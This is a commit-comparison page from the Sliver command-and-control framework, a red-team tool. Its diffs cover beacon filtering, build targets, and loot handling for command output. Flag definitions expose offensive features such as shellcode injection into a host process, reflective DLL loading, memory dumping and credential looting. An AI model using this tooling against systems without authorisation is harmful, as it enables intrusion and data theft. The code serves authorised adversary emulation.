Compare commits

...
54 Commits
Author SHA1 Message Date
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
moloch-- 9bdb54e023 Upgrade yaml dep 2022-05-26 13:18:09 -07:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
Joe 6fa4aeb780 Merge pull request #676 from BishopFox/go/v1.18.2
Go v1.18.2
2022-05-14 21:16:40 -05:00
moloch-- 4e6466f43c Go v1.18.2 2022-05-14 18:02:45 -07:00
Ronan Kervella 802ad9dded Merge pull request #675 from r00t0v3rr1d3/r00t0v3rr1d3-fix-timeout
Reduce http idle conn timeout
2022-05-11 15:53:18 -07:00
Chris Shields 11fb6a5d31 Reduce http idle conn timeout
Fixing regression issue where keep-alive packets were sent every 15 seconds using gohttp. I think this was only applied to https clients the first time as well, so now it is for both.
2022-05-11 17:24:24 -04:00
Joe dc18da51b6 Merge pull request #672 from RafBishopFox/master
UX Changes for Looting and Refactoring in the client/exec package
2022-05-04 16:35:09 -05:00
RafBishopFox a7c0a2a667 Harmonizing UX for loot across commands that support it with refactoring along the way 2022-05-04 14:48:53 -04:00
Joe e9b08e5723 Merge pull request #671 from RafBishopFox/download_loot
Add loot support to the download command
2022-05-02 14:27:19 -05:00
RafBishopFox 144fb88f74 Refactoring download and loot remote code, feature parity for download -X, various small fixes 2022-05-02 13:46:07 -04:00
RafBishopFox cb11ca6b0c Adding error checking when we can resolve the absolute path when downloading 2022-04-28 13:30:51 -04:00
RafBishopFox 708608c6f0 Adding the rest of the protobuf changes 2022-04-28 13:23:13 -04:00
RafBishopFox 4110b5bd28 Adding changes to sliver protobuf 2022-04-28 13:18:18 -04:00
RafBishopFox 73e59797d1 Standardize on use of filepath to resolve file names 2022-04-28 13:10:32 -04:00
RafBishopFox 7da3ccd876 Add loot support to the download command 2022-04-28 12:53:45 -04:00
Ronan Kervella e7452b27d5 Merge pull request #669 from RafBishopFox/master
Changing token owner to token user to display user name associated with processes in Windows
2022-04-27 12:01:13 -07:00
RafBishopFox ff503203e3 Changing token owner to token user to display user name associated with a process in Windows 2022-04-27 13:45:28 -04:00
moloch-- 8462e4415f added linux-arm64 to makefile, only specify arm64 GOARCH for no target 2022-04-26 18:22:23 -05:00
moloch-- af2f7ffc9d Organized go mod 2022-04-26 15:02:05 -05:00
moloch-- aacf2c16ac Add strategy flags to profile cmds 2022-04-18 12:40:58 -05:00
moloch-- c345731a6b Add static links to .so objs when using external CC 2022-04-17 23:47:18 -05:00
moloch-- c495377f4b Tweak CC env order 2022-04-17 20:57:29 -05:00
Joe cd5717db2a Merge pull request #664 from BishopFox/ux/strategy
Ux/strategy
2022-04-17 00:30:01 -05:00
moloch-- 1f00eec899 Remove conflicting beacon flag 2022-04-16 22:58:12 -05:00
moloch-- ef87aa91cc Append '.' to dns listener domain if missing 2022-04-16 21:29:47 -05:00
moloch-- faab1edaaf Implement connection strategy 2022-04-16 21:15:55 -05:00
Joe 6dab042c8c Merge pull request #663 from BishopFox/ux/cdc
Ux/cdc
2022-04-14 18:53:22 -05:00
Joe b116ac97c5 Merge pull request #660 from BishopFox/go/v1.18.1
Go/v1.18.1
2022-04-13 20:58:30 -05:00
moloch-- d9fe00d1ef Implemented session filter/filter-re 2022-04-13 20:36:37 -05:00
moloch-- 630f215bed Implemented beacon filter/filter-re 2022-04-13 14:48:27 -05:00
moloch-- f42ba31753 Organized imports 2022-04-13 13:53:07 -05:00
moloch-- 72065cd39e Removed totp <-> dns session id 2022-04-13 11:29:56 -05:00
moloch-- 0c1a0fd7bf Implement option to disable dns otp auth 2022-04-13 08:58:44 -05:00
moloch-- c12cbc77a7 Added linux arm64 support to builds 2022-04-13 08:25:08 -05:00
moloch-- f79e0d1845 Go v1.18.1 2022-04-13 08:11:23 -05:00
Joe b4b1a5bf74 Merge pull request #658 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.4
Bump nokogiri from 1.13.3 to 1.13.4 in /docs
2022-04-12 07:56:39 -05:00
dependabot[bot] c0431bf9db Bump nokogiri from 1.13.3 to 1.13.4 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.13.4/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-04-12 10:03:25 +00:00
moloch-- 54ce7ef341 Added support for HTTPS_PROXY 2022-04-07 08:26:06 -05:00
moloch-- bbff000f5d Increase ci/cd timeout 2022-04-04 12:38:55 -07:00
Joe 009cae470e Merge pull request #656 from BishopFox/go-sqlite2
Updated gosqlite
2022-04-04 14:31:08 -05:00
Joe 696d2980ff Merge pull request #655 from npbf/wininet-promptpass
Add wininet driver option to ask user for proxy password
2022-04-01 19:12:17 -05:00
Noah f2065ca72a add option to ask for proxy creds 2022-04-01 15:26:51 -06:00
Noah 5a9c4c9ddb refactor, fix error return 2022-04-01 14:35:48 -06:00
Joe 6ff1edb962 Merge pull request #652 from m0rv4i/stack-alignment
Prepend stack alignment check to shellcode
2022-04-01 14:02:52 -05:00
m0rv4i 11a4ae0741 Prepend stack alignment check to donut shellcode 2022-04-01 10:18:07 +01:00
Noah c8eec91232 add prompt user for creds 2022-03-31 13:08:21 -06:00
71 changed files with 2205 additions and 1338 deletions

No files matched your search

+6 -6
View File
@@ -7,17 +7,17 @@ on:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.18
@@ -52,7 +52,7 @@ jobs:
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.18
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.18
FROM golang:1.18.2
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+12 -3
View File
@@ -77,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
endif
ifeq ($(MAKECMDGOALS), linux)
@@ -115,8 +119,13 @@ macos-arm64: clean validate-go-version
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
+75 -15
View File
@@ -21,6 +21,7 @@ package beacons
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -71,27 +72,36 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
tw := renderBeacons(beacons, filter, filterRegex, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
@@ -132,16 +142,42 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
@@ -150,19 +186,43 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
})
}
} else {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
})
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
return tw
+1 -1
View File
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
tw := renderBeacons(beacons.Beacons, "", nil, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
+35 -7
View File
@@ -399,6 +399,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -558,7 +559,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Bool("f", "force", false, "force session action without waiting for results")
f.Bool("F", "force", false, "force session action without waiting for results")
f.String("f", "filter", "", "filter sessions by substring")
f.String("e", "filter-re", "", "filter sessions by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -575,7 +579,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Kill all stale/dead sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -615,7 +620,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force kill, does not clean up")
f.Bool("F", "force", false, "Force kill, does not clean up")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -989,10 +994,12 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "save", false, "save output to a file")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1025,6 +1032,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1069,6 +1077,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1094,6 +1104,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
},
@@ -1250,6 +1262,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1306,6 +1319,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1455,6 +1469,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
@@ -1511,6 +1526,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
@@ -1677,7 +1693,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Bool("r", "recursive", false, "recursively remove files")
f.Bool("f", "force", false, "ignore safety and forcefully remove files")
f.Bool("F", "force", false, "ignore safety and forcefully remove files")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1756,6 +1772,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
},
Args: func(a *grumble.Args) {
a.String("path", "path to the file to print")
@@ -1777,6 +1796,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("X", "loot", false, "save output as loot")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -1887,6 +1909,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1913,7 +1937,7 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "disregard safety and kill the PID")
f.Bool("F", "force", false, "disregard safety and kill the PID")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2120,6 +2144,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2163,8 +2188,11 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Bool("F", "force", false, "force killing of the beacon")
f.String("f", "filter", "", "filter beacons by substring")
f.String("e", "filter-re", "", "filter beacons by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("f", "force", false, "force killing of the beacon")
},
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
@@ -2833,7 +2861,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Add a remote file from the current session to the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
Args: func(a *grumble.Args) {
a.String("path", "The local file path to the loot")
a.String("path", "The file path on the remote host to the loot")
},
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of this piece of loot")
+10 -38
View File
@@ -20,13 +20,10 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -80,7 +77,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +85,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+128 -18
View File
@@ -18,7 +18,11 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -41,6 +45,12 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -56,7 +66,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -65,7 +75,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -84,22 +94,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
@@ -111,17 +141,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
con.PrintInfof("Output:\n%s", string(exec.Stdout))
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
